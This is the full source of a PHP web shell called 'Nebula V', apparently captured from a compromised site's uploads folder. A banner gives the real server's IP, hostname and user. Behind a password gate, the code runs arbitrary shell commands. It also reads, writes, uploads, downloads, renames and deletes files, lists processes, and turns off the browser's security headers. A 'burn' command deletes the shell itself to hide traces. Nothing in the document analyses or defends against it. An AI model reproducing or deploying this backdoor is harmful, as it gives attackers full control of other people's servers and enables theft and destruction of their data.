| Server IP : 68.178.202.69 / Your IP : 216.73.216.185 Web Server : Apache System : Linux 69.202.178.68.host.secureserver.net 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64 User : ikioworld ( 1005) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/ikioworld/www/uploads/news/ |
Upload File : |
<?php
/*
* NEBULA V - FINAL FIX
* - Fixed: Binary/Large File Error (Smart Decoding Fallback)
* - Fixed: JSON Output Buffering (Prevents corruption)
*/
// 1. Output Buffering Başlat (Hata mesajları JSON'ı bozmasın)
ob_start();
// 2. Header Manipulation
@header("Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; script-src * 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline';");
@header("X-XSS-Protection: 0");
session_start();
error_reporting(0);
@ini_set('memory_limit', '128M');
@set_time_limit(0);
// 3. Auth
$auth_hash = "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"; // admin
if (isset($_POST['req']) && $_POST['req'] === 'burn') { @unlink(__FILE__); die(json_encode(['status' => 'destroyed'])); }
if (isset($_GET['logout'])) { session_destroy(); header('Location: '.strtok($_SERVER['REQUEST_URI'], '?')); exit; }
if (!isset($_SESSION['nebula_auth'])) {
if (isset($_POST['k']) && hash('sha256', $_POST['k']) === $auth_hash) {
$_SESSION['nebula_auth'] = true;
$_SESSION['cwd'] = getcwd();
} else {
// Login ekranı çıktısı için buffer temizle
ob_end_clean();
die('<!DOCTYPE html><body style="background:#020617;display:flex;height:100vh;align-items:center;justify-content:center"><form method="post"><input type="password" name="k" style="background:#1e293b;border:1px solid #334155;color:white;padding:10px;border-radius:5px;outline:none" placeholder="Key" autofocus></form></body></html>');
}
}
// 4. Core
class Core {
public function r($n, ...$a) {
$m = ['e'=>'exec', 's'=>'scandir', 'f'=>'file_get_contents', 'w'=>'file_put_contents', 'r'=>'rename', 'u'=>'unlink', 'c'=>'chmod'];
if($n=='x') return shell_exec($a[0]." 2>&1");
return ($m[$n])(...$a);
}
}
$sys = new Core();
if(!isset($_SESSION['cwd']) || !is_dir($_SESSION['cwd'])) $_SESSION['cwd'] = getcwd();
@chdir($_SESSION['cwd']);
// 5. API
if (isset($_POST['req'])) {
// JSON yanıtı öncesi buffer temizle (Kritik!)
ob_clean();
$req = $_POST['req'];
if($req !== 'download') header('Content-Type: application/json');
if ($req === 'cmd') {
$cmd = $_POST['c']; $out = '';
if (preg_match('/^cd\s+(.*)$/', $cmd, $m)) {
$target = trim($m[1]); if($target == '') $target = '/';
if (@chdir($target)) { $_SESSION['cwd'] = getcwd(); } else { $out = "cd: error: $target"; }
} else { $out = $sys->r('x', $cmd); }
echo json_encode(['out' => $out, 'cwd' => $_SESSION['cwd']]); exit;
}
if ($req === 'list') {
$path = $_POST['path'] ?? $_SESSION['cwd'];
if(empty($path)) $path = $_SESSION['cwd'];
if(is_dir($path)) {
@chdir($path); $_SESSION['cwd'] = $path;
$items = @scandir($path);
$res = [];
if($items) {
foreach($items as $i) {
if($i == '.') continue;
$p = $path . DIRECTORY_SEPARATOR . $i;
$stat = @stat($p);
$res[] = [
'n' => $i,
'd' => is_dir($p),
's' => is_dir($p) ? '-' : round(($stat['size']??0)/1024, 2).' KB',
'p' => substr(sprintf('%o', fileperms($p)), -4),
];
}
}
echo json_encode(['files' => $res, 'cwd' => $path]);
} else {
echo json_encode(['error' => 'Path Error']);
}
exit;
}
if ($req === 'read') {
$c = @file_get_contents($_POST['f']);
echo json_encode(['data' => base64_encode($c)]);
exit;
}
if ($req === 'save') { echo json_encode(['status' => @file_put_contents($_POST['f'], base64_decode($_POST['c']))]); exit; }
if ($req === 'del') { echo json_encode(['status' => @unlink($_POST['f'])]); exit; }
if ($req === 'rename') { echo json_encode(['status' => @rename($_POST['old'], $_POST['new'])]); exit; }
if ($req === 'upload') { @move_uploaded_file($_FILES['file']['tmp_name'], $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $_FILES['file']['name']); exit; }
if ($req === 'ps') { echo json_encode(['out' => @shell_exec('ps aux')]); exit; }
if ($req === 'download') {
$f = $_POST['f']; if(file_exists($f)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
readfile($f);
} exit;
}
exit;
}
// Sayfa çıktısı öncesi bufferı temizle ama kapatma
ob_clean();
?>
<!DOCTYPE html>
<html lang="en" class="dark">
<head>
<meta charset="UTF-8">
<title>Nebula V</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body { font-family: monospace; background: #020617; color: #cbd5e1; }
.glass { background: rgba(15, 23, 42, 0.9); border-bottom: 1px solid rgba(255,255,255,0.1); }
.btn-tab { padding: 4px 12px; border-radius: 4px; font-weight: bold; font-size: 12px; text-transform: uppercase; cursor: pointer; }
.btn-active { background: #4f46e5; color: white; }
.btn-inactive { color: #94a3b8; }
.btn-inactive:hover { color: white; }
.hidden { display: none; }
::-webkit-scrollbar { width: 8px; }
::-webkit-scrollbar-track { background: #0f172a; }
::-webkit-scrollbar-thumb { background: #334155; border-radius: 4px; }
</style>
</head>
<body class="h-screen flex flex-col overflow-hidden">
<nav class="glass h-14 flex items-center justify-between px-4 shrink-0">
<div class="font-bold text-indigo-400 text-lg">NEBULA V</div>
<div class="flex gap-2 bg-slate-900 p-1 rounded">
<button id="tab-files" class="btn-tab btn-active" onclick="App.switchTab('files')">Files</button>
<button id="tab-term" class="btn-tab btn-inactive" onclick="App.switchTab('term')">Terminal</button>
<button id="tab-proc" class="btn-tab btn-inactive" onclick="App.switchTab('proc')">Process</button>
</div>
<div class="flex gap-3 text-xs">
<button onclick="App.burn()" class="text-red-500 hover:text-red-400">BURN</button>
<a href="?logout" class="text-slate-400">EXIT</a>
</div>
</nav>
<div class="flex-1 flex flex-col overflow-hidden relative">
<div id="view-files" class="flex-1 flex flex-col h-full">
<div class="h-10 bg-slate-900/50 border-b border-white/5 flex items-center px-4 gap-2">
<button onclick="App.nav('..')" class="text-slate-400 hover:text-white font-bold">⬆</button>
<div id="breadcrumbs" class="flex items-center overflow-x-auto whitespace-nowrap text-sm"></div>
<div class="ml-auto">
<input type="file" id="file-upload" class="hidden" onchange="App.upload(this)">
<label for="file-upload" class="cursor-pointer text-xs bg-indigo-600 px-3 py-1 rounded text-white hover:bg-indigo-500">UPLOAD</label>
</div>
</div>
<div class="flex-1 overflow-y-auto p-4">
<table class="w-full text-left text-sm text-slate-400">
<thead class="text-xs uppercase bg-slate-800/50 text-slate-200"><tr><th class="p-2">Name</th><th class="p-2 w-20">Size</th><th class="p-2 w-20">Perms</th><th class="p-2 w-32 text-right">Actions</th></tr></thead>
<tbody id="file-list" class="divide-y divide-white/5"></tbody>
</table>
</div>
</div>
<div id="view-term" class="flex-1 bg-[#0a0a0a] p-4 flex flex-col font-mono text-sm h-full hidden">
<div id="term-output" class="flex-1 overflow-y-auto space-y-1 pb-2 break-all"><div class="text-slate-500">Nebula Terminal Ready...</div></div>
<div class="flex items-center gap-2 bg-white/5 p-2 rounded border border-white/10 mt-auto">
<span class="text-green-500 font-bold">➜</span><span id="term-cwd" class="text-blue-400 truncate max-w-[150px]">/</span>
<input type="text" id="term-input" class="bg-transparent flex-1 outline-none text-white placeholder-slate-600" placeholder="Type command..." autocomplete="off">
</div>
</div>
<div id="view-proc" class="flex-1 p-4 flex flex-col overflow-hidden hidden">
<div class="flex justify-between mb-2"><h2 class="font-bold">Processes</h2><button onclick="App.getPs()" class="text-xs bg-indigo-600 px-2 py-1 rounded text-white">Refresh</button></div>
<textarea id="proc-out" readonly class="flex-1 bg-slate-900 p-2 text-xs text-green-400 resize-none outline-none font-mono"></textarea>
</div>
</div>
<div id="modal-editor" class="fixed inset-0 bg-black/80 flex items-center justify-center z-50 p-4 hidden">
<div class="w-full max-w-4xl h-[80vh] bg-slate-900 border border-white/10 rounded flex flex-col shadow-2xl">
<div class="h-10 bg-slate-800 flex items-center justify-between px-4 border-b border-white/5">
<span id="editor-title" class="text-xs text-indigo-300"></span>
<div>
<button onclick="document.getElementById('modal-editor').classList.add('hidden')" class="text-slate-400 text-xs mr-2 hover:text-white">Close</button>
<button onclick="App.saveFile()" class="bg-indigo-600 text-white text-xs px-3 py-1 rounded hover:bg-indigo-500">Save</button>
</div>
</div>
<textarea id="editor-content" class="flex-1 bg-[#0f172a] p-4 text-slate-300 text-sm font-mono outline-none resize-none"></textarea>
</div>
</div>
<script>
const App = {
cwd: '<?php echo str_replace('\\', '/', $cwd); ?>', currentFile: '',
init: function() { this.nav(this.cwd); document.getElementById('term-input').addEventListener('keydown', (e) => { if (e.key === 'Enter') this.runCmd(); }); },
req: async function(data) {
let fd = new FormData(); for (let k in data) fd.append(k, data[k]);
try { let r = await fetch('', { method: 'POST', body: fd }); return await r.json(); } catch(e) { console.error(e); return {error: 'Fetch Error'}; }
},
switchTab: function(tab) {
['files', 'term', 'proc'].forEach(t => { document.getElementById('view-' + t).classList.add('hidden'); document.getElementById('tab-' + t).classList.replace('btn-active', 'btn-inactive'); });
document.getElementById('view-' + tab).classList.remove('hidden'); document.getElementById('tab-' + tab).classList.replace('btn-inactive', 'btn-active');
if(tab === 'term') setTimeout(() => document.getElementById('term-input').focus(), 100); if(tab === 'proc') this.getPs();
},
nav: async function(path) {
let r = await this.req({req: 'list', path: path});
if (r.error) { alert(r.error); } else {
this.cwd = r.cwd.replace(/\\/g, '/'); this.renderFiles(r.files); this.renderBreadcrumbs();
document.getElementById('term-cwd').innerText = this.cwd.split('/').pop() || '/';
}
},
renderFiles: function(files) {
let html = '';
files.forEach(f => {
let icon = f.d ? '📁' : '📄'; let cls = f.d ? 'text-indigo-300 font-bold' : 'text-slate-300';
let action = f.d ? `App.nav('${this.cwd}/${f.n}')` : `App.edit('${this.cwd}/${f.n}')`;
let permCls = f.p.includes('w') ? 'text-red-400' : 'text-green-400';
html += `<tr class="hover:bg-white/5 transition cursor-pointer" onclick="${action}"><td class="p-2 flex items-center gap-2"><span>${icon}</span><span class="${cls}">${f.n}</span></td><td class="p-2 text-xs">${f.s}</td><td class="p-2 text-xs ${permCls}">${f.p}</td><td class="p-2 text-right" onclick="event.stopPropagation()"><button onclick="App.dl('${this.cwd}/${f.n}')" class="text-blue-400 hover:text-white px-1">↓</button><button onclick="App.ren('${f.n}')" class="text-orange-400 hover:text-white px-1">R</button><button onclick="App.del('${this.cwd}/${f.n}')" class="text-red-400 hover:text-white px-1">X</button></td></tr>`;
});
document.getElementById('file-list').innerHTML = html;
},
renderBreadcrumbs: function() {
let parts = this.cwd.split('/').filter(p => p); let html = '', currentPath = '';
parts.forEach(p => { currentPath += '/' + p; html += `<span class="text-slate-600 mx-1">/</span><button onclick="App.nav('${currentPath}')" class="text-indigo-300 hover:text-white hover:underline">${p}</button>`; });
document.getElementById('breadcrumbs').innerHTML = html || '<span class="text-slate-500 ml-2">/</span>';
},
runCmd: async function() {
let inp = document.getElementById('term-input'); let cmd = inp.value; if (!cmd) return; inp.value = '';
let outDiv = document.getElementById('term-output'); outDiv.innerHTML += `<div><span class="text-green-500">➜</span> <span class="text-slate-300">${cmd}</span></div>`;
let r = await this.req({req: 'cmd', c: cmd}); outDiv.innerHTML += `<div class="pl-4 text-slate-400 whitespace-pre-wrap mb-2">${r.out}</div>`; outDiv.scrollTop = outDiv.scrollHeight;
if (r.cwd) { this.cwd = r.cwd.replace(/\\/g, '/'); document.getElementById('term-cwd').innerText = this.cwd.split('/').pop() || '/'; }
},
edit: async function(f) {
let r = await this.req({req: 'read', f: f}); this.currentFile = f;
let content = "";
// SMART DECODE LOGIC
try {
// Önce temiz veriyi al
let raw = atob(r.data);
try {
// Türkçe/UTF-8 decode etmeyi dene
content = decodeURIComponent(escape(raw));
} catch (utfErr) {
// Eğer UTF-8 patlarsa (Binary/Large File hatası buradaydı), ham veriyi göster
console.log("UTF-8 decode failed, showing raw", utfErr);
content = raw;
}
} catch (base64Err) {
content = "CRITICAL ERROR: Base64 Decode Failed.";
}
document.getElementById('editor-title').innerText = f;
document.getElementById('editor-content').value = content;
document.getElementById('modal-editor').classList.remove('hidden');
},
saveFile: async function() {
let content = document.getElementById('editor-content').value;
// Encode ederken de hata çıkarsa raw gönder
let b64;
try { b64 = btoa(unescape(encodeURIComponent(content))); } catch(e) { b64 = btoa(content); }
await this.req({req: 'save', f: this.currentFile, c: b64});
document.getElementById('modal-editor').classList.add('hidden');
},
ren: async function(n) { let newN = prompt('Rename:', n); if (newN) { await this.req({req: 'rename', old: this.cwd + '/' + n, new: this.cwd + '/' + newN}); this.nav(this.cwd); } },
del: async function(f) { if (confirm('Delete?')) { await this.req({req: 'del', f: f}); this.nav(this.cwd); } },
dl: function(f) { let form = document.createElement('form'); form.method = 'POST'; form.innerHTML = `<input name="req" value="download"><input name="f" value="${f}">`; document.body.append(form); form.submit(); form.remove(); },
upload: async function(el) { let f = el.files[0]; if (!f) return; let fd = new FormData(); fd.append('req', 'upload'); fd.append('file', f); await fetch('', { method: 'POST', body: fd }); this.nav(this.cwd); },
getPs: async function() { let r = await this.req({req: 'ps'}); document.getElementById('proc-out').value = r.out; },
burn: async function() { if(confirm('Self Destruct?')) { await this.req({req: 'burn'}); location.reload(); } }
};
App.init();
</script>
</body>
</html>